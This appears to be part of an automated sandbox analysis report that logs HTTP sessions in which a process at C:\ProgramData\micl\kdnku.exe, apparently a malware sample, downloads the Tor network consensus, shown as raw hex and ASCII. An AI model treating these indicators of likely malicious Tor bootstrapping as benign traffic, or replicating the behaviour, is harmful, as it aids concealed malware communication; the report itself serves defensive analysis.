Apr 2, 2023 09:51:05.675986052 CEST	2953	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 131.188.40.189 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:51:05.696789980 CEST	2955	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:51:05 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Sun, 02 Apr 2023 08:00:00 GMT Vary: X-Or-Diff-From-Consensus Data Raw: 6e 65 74 77 6f 72 6b 2d 73 74 61 74 75 73 2d 76 65 72 73 69 6f 6e 20 33 0a 76 6f 74 65 2d 73 74 61 74 75 73 20 63 6f 6e 73 65 6e 73 75 73 0a 63 6f 6e 73 65 6e 73 75 73 2d 6d 65 74 68 6f 64 20 33 32 0a 76 61 6c 69 64 2d 61 66 74 65 72 20 32 30 32 33 2d 30 34 2d 30 32 20 30 37 3a 30 30 3a 30 30 0a 66 72 65 73 68 2d 75 6e 74 69 6c 20 32 30 32 33 2d 30 34 2d 30 32 20 30 38 3a 30 30 3a 30 30 0a 76 61 6c 69 64 2d 75 6e 74 69 6c 20 32 30 32 33 2d 30 34 2d 30 32 20 31 30 3a 30 30 3a 30 30 0a 76 6f 74 69 6e 67 2d 64 65 6c 61 79 20 33 30 30 20 33 30 30 0a 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 2c 30 2e 34 2e 37 2e 31 33 0a 73 65 72 76 65 72 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 2c 30 2e 34 2e 37 2e 31 33 0a 6b 6e 6f 77 6e 2d 66 6c 61 67 73 20 41 75 74 68 6f 72 69 74 79 20 42 61 64 45 78 69 74 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 4d 69 64 64 6c 65 4f 6e 6c 79 20 4e 6f 45 64 43 6f 6e 73 65 6e 73 75 73 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 53 74 61 6c 65 44 65 73 63 20 53 79 62 69 6c 20 56 32 44 69 72 20 56 61 6c 69 64 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 4c 69 6e 6b 3d 34 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 70 61 72 61 6d 73 20 43 69 72 63 75 69 74 50 72 69 6f 72 69 74 79 48 61 6c 66 6c 69 66 65 4d 73 65 63 3d 33 30 30 30 30 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 42 75 72 73 74 3d 36 30 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 45 6e 61 62 6c 65 64 3d 31 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 4d 69 6e 43 6f 6e 6e 65 63 74 69 6f 6e 73 3d 32 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 52 61 74 65 3d 32 20 44 6f 53 43 6f 6e 6e 65 63 74 69 6f 6e 45 6e 61 62 6c 65 64 3d 31 20 44 6f 53 43 6f 6e 6e 65 63 74 69 6f 6e 4d 61 78 43 6f 6e 63 75 72 72 65 6e 74 43 6f 75 6e 74 3d 35 30 20 44 6f Data Ascii: network-status-version 3vote-status consensusconsensus-method 32valid-after 2023-04-02 07:00:00fresh-until 2023-04-02 08:00:00valid-until 2023-04-02 10:00:00voting-delay 300 300client-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13server-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Validrecommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCreationEnabled=1 DoSCircuitCreationMinConnections=2 DoSCircuitCreationRate=2 DoSConnectionEnabled=1 DoSConnectionMaxConcurrentCount=50 Do
Apr 2, 2023 09:51:05.696836948 CEST	2955	IN	Data Raw: 53 52 65 66 75 73 65 53 69 6e 67 6c 65 48 6f 70 43 6c 69 65 6e 74 52 65 6e 64 65 7a 76 6f 75 73 3d 31 20 45 78 74 65 6e 64 42 79 45 64 32 35 35 31 39 49 44 3d 31 20 4b 49 53 54 53 63 68 65 64 52 75 6e 49 6e 74 65 72 76 61 6c 3d 32 20 4e 75 6d 4e Data Ascii: SRefuseSingleHopClientRendezvous=1 ExtendByEd25519ID=1 KISTSchedRunInterval=2 NumNTorsPerTAP=100 UseOptimisticData=1 bwauthpid=1 bwscanner_cc=1 cbttestfreq=10 cc_alg=2 cc_cwnd_full_gap=4 cc_cwnd_full_minpct=25 cc_cwnd_inc=1 cc_cwnd_inc_rate=31
Apr 2, 2023 09:51:05.696886063 CEST	2957	IN	Data Raw: 6d 65 5f 65 6d 69 74 5f 6d 69 6e 5f 76 65 72 73 69 6f 6e 3d 31 0a 73 68 61 72 65 64 2d 72 61 6e 64 2d 70 72 65 76 69 6f 75 73 2d 76 61 6c 75 65 20 38 20 36 77 6f 42 38 73 47 43 42 55 69 53 4e 6d 46 58 66 54 33 6a 39 65 4e 47 50 41 59 67 64 76 76 Data Ascii: me_emit_min_version=1shared-rand-previous-value 8 6woB8sGCBUiSNmFXfT3j9eNGPAYgdvvI1VkrT6GT4C0=shared-rand-current-value 8 /Vn+weTNcI1cnnFkg6rRNFpMRnqk8vlSooaxxdPH97I=dir-source dannenberg 0232AF901C31A04EE9848595AF9BB7620D4C5B2E dannenberg.
Apr 2, 2023 09:51:05.696929932 CEST	2958	IN	Data Raw: 6e 74 61 63 74 20 65 6d 61 69 6c 3a 75 73 75 72 61 5b 5d 73 61 62 6f 74 61 67 65 2e 6f 72 67 20 75 72 6c 3a 68 74 74 70 73 3a 2f 2f 33 38 36 62 73 64 2e 6e 65 74 20 70 72 6f 6f 66 3a 75 72 69 2d 72 73 61 20 61 62 75 73 65 3a 61 62 75 73 65 5b 5d Data Ascii: ntact email:usura[]sabotage.org url:https://386bsd.net proof:uri-rsa abuse:abuse[]sabotage.net twitter:adejoode ciissversion:2vote-digest 6E6DC8606184A5B67FCB66DB32870FF391BA1D7Ddir-source gabelmoo ED03BB616EB2F60BEC80151114BB25CEF515B226 13
Apr 2, 2023 09:51:05.696990013 CEST	2959	IN	Data Raw: 30 30 30 0a 70 20 61 63 63 65 70 74 20 32 30 2d 32 31 2c 32 33 2c 34 33 2c 35 33 2c 37 39 2d 38 31 2c 38 38 2c 31 31 30 2c 31 34 33 2c 31 39 34 2c 32 32 30 2c 33 38 39 2c 34 34 33 2c 34 36 34 2d 34 36 35 2c 35 33 31 2c 35 34 33 2d 35 34 34 2c 35 Data Ascii: 000p accept 20-21,23,43,53,79-81,88,110,143,194,220,389,443,464-465,531,543-544,554,563,587,636,706,749,853,873,902-904,981,989-995,1194,1220,1293,1500,1533,1677,1723,1755,1863,2082-2083,2086-2087,2095-2096,2102-2104,3128,3389,3690,4321,4643,
Apr 2, 2023 09:51:05.697038889 CEST	2961	IN	Data Raw: 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 Data Ascii: Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=30000p reject 1-65535r skylarkRelay ACQOyytTWqTB4YdNdE36avLl6UE a9L6epIlW/nvCyeNKH2JkS8J1h0 2023-04
Apr 2, 2023 09:51:05.697088957 CEST	2962	IN	Data Raw: 31 33 33 20 30 0a 61 20 5b 32 61 30 62 3a 66 34 63 32 3a 32 3a 3a 33 33 5d 3a 31 30 31 33 33 0a 73 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 32 44 69 72 20 56 61 6c 69 64 0a 76 20 54 6f 72 Data Ascii: 133 0a [2a0b:f4c2:2::33]:10133s Exit Fast Guard Running Stable V2Dir Validv Tor 0.4.7.13pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=33000p
Apr 2, 2023 09:51:05.697114944 CEST	2963	IN	Data Raw: 6a 65 63 74 20 31 2d 36 35 35 33 35 0a 72 20 6e 75 6c 6c 20 41 46 59 6d 6b 4d 38 7a 39 54 66 45 39 4d 6c 59 64 6c 58 33 52 70 68 6f 78 7a 6f 20 33 74 30 5a 42 4f 65 72 59 47 68 4b 39 57 39 54 64 75 4a 41 71 6d 63 2f 6d 71 59 20 32 30 32 33 2d 30 Data Ascii: ject 1-65535r null AFYmkM8z9TfE9MlYdlX3Rphoxzo 3t0ZBOerYGhK9W9TduJAqmc/mqY 2023-04-01 16:23:52 37.16.105.85 9001 0s Fast Guard HSDir Running Stable V2Dir Validv Tor 0.4.7.13pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 H
Apr 2, 2023 09:51:05.697161913 CEST	2965	IN	Data Raw: 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 Data Ascii: =1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=30000p accept 80,443r right2 AGVBE5WXY/ZTySr/B4p+w6e70tk 2vEdV4IQWFfejOYwkulHeYF9UDQ 2023-04-01 13:00:34 174.128.250.165 80 0s Fast Guar
Apr 2, 2023 09:51:05.697208881 CEST	2966	IN	Data Raw: 20 32 30 32 33 2d 30 34 2d 30 31 20 32 30 3a 34 38 3a 35 33 20 39 35 2e 32 31 34 2e 32 35 2e 31 30 35 20 39 30 30 30 20 30 0a 73 20 45 78 69 74 20 46 61 73 74 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 32 44 69 72 20 56 61 6c 69 64 0a 76 Data Ascii: 2023-04-01 20:48:53 95.214.25.105 9000 0s Exit Fast Running Stable V2Dir Validv Tor 0.4.7.13pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=100
Apr 2, 2023 09:51:05.717890978 CEST	2967	IN	Data Raw: 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 36 36 30 30 0a 70 20 72 65 6a Data Ascii: 1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=6600p reject 1-65535r INSRelay42at8443 AIGW3ESUgsc8+pcSRFIjkX92CSE RYU2CFSyXToEsVl7UxklB9bdDv4 2023-04-02 02:07:08 140.78.100.42 8443 0s Fast HSDir Running Stable V2Dir

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49698	171.25.193.9	443	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
Apr 2, 2023 09:49:18.806010008 CEST	98	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 171.25.193.9 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49699	193.23.244.244	80	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
Apr 2, 2023 09:49:18.839310884 CEST	99	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 193.23.244.244 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:49:18.868202925 CEST	100	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:49:18 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Sun, 02 Apr 2023 08:00:00 GMT Vary: X-Or-Diff-From-Consensus Data Raw: 6e 65 74 77 6f 72 6b 2d 73 74 61 74 75 73 2d 76 65 72 73 69 6f 6e 20 33 0a 76 6f 74 65 2d 73 74 61 74 75 73 20 63 6f 6e 73 65 6e 73 75 73 0a 63 6f 6e 73 65 6e 73 75 73 2d 6d 65 74 68 6f 64 20 33 32 0a 76 61 6c 69 64 2d 61 66 74 65 72 20 32 30 32 33 2d 30 34 2d 30 32 20 30 37 3a 30 30 3a 30 30 0a 66 72 65 73 68 2d 75 6e 74 69 6c 20 32 30 32 33 2d 30 34 2d 30 32 20 30 38 3a 30 30 3a 30 30 0a 76 61 6c 69 64 2d 75 6e 74 69 6c 20 32 30 32 33 2d 30 34 2d 30 32 20 31 30 3a 30 30 3a 30 30 0a 76 6f 74 69 6e 67 2d 64 65 6c 61 79 20 33 30 30 20 33 30 30 0a 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 2c 30 2e 34 2e 37 2e 31 33 0a 73 65 72 76 65 72 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 2c 30 2e 34 2e 37 2e 31 33 0a 6b 6e 6f 77 6e 2d 66 6c 61 67 73 20 41 75 74 68 6f 72 69 74 79 20 42 61 64 45 78 69 74 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 4d 69 64 64 6c 65 4f 6e 6c 79 20 4e 6f 45 64 43 6f 6e 73 65 6e 73 75 73 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 53 74 61 6c 65 44 65 73 63 20 53 79 62 69 6c 20 56 32 44 69 72 20 56 61 6c 69 64 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 4c 69 6e 6b 3d 34 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 70 61 72 61 6d 73 20 43 69 72 63 75 69 74 50 72 69 6f 72 69 74 79 48 61 6c 66 6c 69 66 65 4d 73 65 63 3d 33 30 30 30 30 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 42 75 72 73 74 3d 36 30 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 45 6e 61 62 6c 65 64 3d 31 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 4d 69 6e 43 6f 6e 6e 65 63 74 69 6f 6e 73 3d 32 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 52 61 74 65 3d 32 20 44 6f 53 43 6f 6e 6e 65 63 74 69 6f 6e 45 6e 61 62 6c 65 64 3d 31 20 44 6f 53 43 6f 6e 6e 65 63 74 69 6f 6e 4d 61 78 43 6f 6e 63 75 72 72 65 6e 74 43 6f 75 6e 74 3d 35 30 20 44 6f Data Ascii: network-status-version 3vote-status consensusconsensus-method 32valid-after 2023-04-02 07:00:00fresh-until 2023-04-02 08:00:00valid-until 2023-04-02 10:00:00voting-delay 300 300client-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13server-versions 0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Validrecommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCreationEnabled=1 DoSCircuitCreationMinConnections=2 DoSCircuitCreationRate=2 DoSConnectionEnabled=1 DoSConnectionMaxConcurrentCount=50 Do
Apr 2, 2023 09:49:18.868231058 CEST	101	IN	Data Raw: 53 52 65 66 75 73 65 53 69 6e 67 6c 65 48 6f 70 43 6c 69 65 6e 74 52 65 6e 64 65 7a 76 6f 75 73 3d 31 20 45 78 74 65 6e 64 42 79 45 64 32 35 35 31 39 49 44 3d 31 20 4b 49 53 54 53 63 68 65 64 52 75 6e 49 6e 74 65 72 76 61 6c 3d 32 20 4e 75 6d 4e Data Ascii: SRefuseSingleHopClientRendezvous=1 ExtendByEd25519ID=1 KISTSchedRunInterval=2 NumNTorsPerTAP=100 UseOptimisticData=1 bwauthpid=1 bwscanner_cc=1 cbttestfreq=10 cc_alg=2 cc_cwnd_full_gap=4 cc_cwnd_full_minpct=25 cc_cwnd_inc=1 cc_cwnd_inc_rate=31
Apr 2, 2023 09:49:18.868248940 CEST	102	IN	Data Raw: 6d 65 5f 65 6d 69 74 5f 6d 69 6e 5f 76 65 72 73 69 6f 6e 3d 31 0a 73 68 61 72 65 64 2d 72 61 6e 64 2d 70 72 65 76 69 6f 75 73 2d 76 61 6c 75 65 20 38 20 36 77 6f 42 38 73 47 43 42 55 69 53 4e 6d 46 58 66 54 33 6a 39 65 4e 47 50 41 59 67 64 76 76 Data Ascii: me_emit_min_version=1shared-rand-previous-value 8 6woB8sGCBUiSNmFXfT3j9eNGPAYgdvvI1VkrT6GT4C0=shared-rand-current-value 8 /Vn+weTNcI1cnnFkg6rRNFpMRnqk8vlSooaxxdPH97I=dir-source dannenberg 0232AF901C31A04EE9848595AF9BB7620D4C5B2E dannenberg.
Apr 2, 2023 09:49:18.868271112 CEST	103	IN	Data Raw: 6e 74 61 63 74 20 65 6d 61 69 6c 3a 75 73 75 72 61 5b 5d 73 61 62 6f 74 61 67 65 2e 6f 72 67 20 75 72 6c 3a 68 74 74 70 73 3a 2f 2f 33 38 36 62 73 64 2e 6e 65 74 20 70 72 6f 6f 66 3a 75 72 69 2d 72 73 61 20 61 62 75 73 65 3a 61 62 75 73 65 5b 5d Data Ascii: ntact email:usura[]sabotage.org url:https://386bsd.net proof:uri-rsa abuse:abuse[]sabotage.net twitter:adejoode ciissversion:2vote-digest 6E6DC8606184A5B67FCB66DB32870FF391BA1D7Ddir-source gabelmoo ED03BB616EB2F60BEC80151114BB25CEF515B226 13
Apr 2, 2023 09:49:18.868302107 CEST	105	IN	Data Raw: 30 30 30 0a 70 20 61 63 63 65 70 74 20 32 30 2d 32 31 2c 32 33 2c 34 33 2c 35 33 2c 37 39 2d 38 31 2c 38 38 2c 31 31 30 2c 31 34 33 2c 31 39 34 2c 32 32 30 2c 33 38 39 2c 34 34 33 2c 34 36 34 2d 34 36 35 2c 35 33 31 2c 35 34 33 2d 35 34 34 2c 35 Data Ascii: 000p accept 20-21,23,43,53,79-81,88,110,143,194,220,389,443,464-465,531,543-544,554,563,587,636,706,749,853,873,902-904,981,989-995,1194,1220,1293,1500,1533,1677,1723,1755,1863,2082-2083,2086-2087,2095-2096,2102-2104,3128,3389,3690,4321,4643,
Apr 2, 2023 09:49:18.868319988 CEST	106	IN	Data Raw: 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 Data Ascii: Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=30000p reject 1-65535r skylarkRelay ACQOyytTWqTB4YdNdE36avLl6UE a9L6epIlW/nvCyeNKH2JkS8J1h0 2023-04
Apr 2, 2023 09:49:18.868360043 CEST	107	IN	Data Raw: 31 33 33 20 30 0a 61 20 5b 32 61 30 62 3a 66 34 63 32 3a 32 3a 3a 33 33 5d 3a 31 30 31 33 33 0a 73 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 32 44 69 72 20 56 61 6c 69 64 0a 76 20 54 6f 72 Data Ascii: 133 0a [2a0b:f4c2:2::33]:10133s Exit Fast Guard Running Stable V2Dir Validv Tor 0.4.7.13pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=33000p
Apr 2, 2023 09:49:18.868381023 CEST	109	IN	Data Raw: 6a 65 63 74 20 31 2d 36 35 35 33 35 0a 72 20 6e 75 6c 6c 20 41 46 59 6d 6b 4d 38 7a 39 54 66 45 39 4d 6c 59 64 6c 58 33 52 70 68 6f 78 7a 6f 20 33 74 30 5a 42 4f 65 72 59 47 68 4b 39 57 39 54 64 75 4a 41 71 6d 63 2f 6d 71 59 20 32 30 32 33 2d 30 Data Ascii: ject 1-65535r null AFYmkM8z9TfE9MlYdlX3Rphoxzo 3t0ZBOerYGhK9W9TduJAqmc/mqY 2023-04-01 16:23:52 37.16.105.85 9001 0s Fast Guard HSDir Running Stable V2Dir Validv Tor 0.4.7.13pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 H
Apr 2, 2023 09:49:18.868401051 CEST	110	IN	Data Raw: 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 Data Ascii: =1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=30000p accept 80,443r right2 AGVBE5WXY/ZTySr/B4p+w6e70tk 2vEdV4IQWFfejOYwkulHeYF9UDQ 2023-04-01 13:00:34 174.128.250.165 80 0s Fast Guar
Apr 2, 2023 09:49:18.868419886 CEST	111	IN	Data Raw: 20 32 30 32 33 2d 30 34 2d 30 31 20 32 30 3a 34 38 3a 35 33 20 39 35 2e 32 31 34 2e 32 35 2e 31 30 35 20 39 30 30 30 20 30 0a 73 20 45 78 69 74 20 46 61 73 74 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 32 44 69 72 20 56 61 6c 69 64 0a 76 Data Ascii: 2023-04-01 20:48:53 95.214.25.105 9000 0s Exit Fast Running Stable V2Dir Validv Tor 0.4.7.13pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=100
